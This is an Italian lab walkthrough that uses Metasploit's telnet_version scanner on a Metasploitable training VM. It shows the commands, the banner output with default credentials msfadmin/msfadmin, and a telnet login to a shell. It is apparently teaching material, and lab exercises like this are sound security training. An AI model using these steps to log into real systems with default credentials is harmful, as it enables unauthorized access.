Impostiamo Kali su 192.168.1.25 e Metasploitable su 192.168.1.40. Avviamo quindi su Kali msfconsole.
Per sfruttare la vulnerabilitá Telnet utilizziamo un modulo ausiliario che potete trovare al path auxiliary/scanner/telnet/telnet_version col comando "use".
Controlliamo le opzioni necessarie per lanciare l'attacco, eseguendo il comando «show options».

Possiamo quindi eseguire l'attacco con il comando «exploit»:

```
msf6 auxiliary(scanner/telnet/telnet_version) > set RHOSTS 192.168.1.40
RHOSTS ⇒ 192.168.1.40
msf6 auxiliary(scanner/telnet/telnet_version) > exploit

[+] 192.168.1.40:23       - 192.168.1.40:23 TELNET _                     _
      _ _          _     _          ____    \x0a _ __ ___    ___| |_ __ _ ___ _ _
_ | | __ (_) |_ __ _| |__ | | ___|___ \ \x0a| '_ ` _ \ / _ \ __/ _` / _ \ _
_| '_ \| |/ _ \| __/ _` | '_ \| |/ _ \ __) |\x0a| | | | | |  __/ || (_
| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/ \x0a|_| |_| |_|\___|\
__\__,_|___/ .__/|_|\___/|_|\__\__,_|__/|_|\___|_____|\x0a
           |_|                                                  \x0a\x0a\x0
aWarning: Never expose this VM to an untrusted network!\x0a\x0aContact:
msfdev[at]metasploit.com\x0a\x0aLogin with msfadmin/msfadmin to get star
ted\x0a\x0a\x0ametasploitable login:
[*] 192.168.1.40:23       - Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```

Il modulo ha recuperato i dati di login del servizio, come vedete nel rettangolo in rosso in figura. Ci sta dicendo che le credenziali da utilizzare sono username: «msfadmin», password «msfadmin». Per verificare la correttezza delle informazioni, facciamo un test. Eseguiamo da Metasploit il comando «telnet» seguito dall'ip della macchina Metasploitable.

```
msf6 auxiliary(scanner/telnet/telnet_version) > telnet 192.168.1.40
[*] exec: telnet 192.168.1.40

Trying 192.168.1.40 ...
Connected to 192.168.1.40.
Escape character is '^]'.
                                                  _
 _ __ ___    ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \ / _ \ __/ _` / __| '_ \| |/ _ \| __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|__/|_|\___|_____|
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login: msfadmin
Password:
Last login: Tue Mar  5 05:11:24 EST 2024 on tty1
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
No mail.
msfadmin@metasploitable:~$
```

Il servizio ci richiede un login. Proviamo con le informazioni che ci ha restituito Metasploit, quindi

username «msfadmin», password «msfadmin» per confermare che l’attacco ha avuto effettivamente successo e la vulnerabilità del servizio Telnet è stata sfruttata correttamente, in quanto abbiamo ottenuto accesso non autorizzato alla macchina.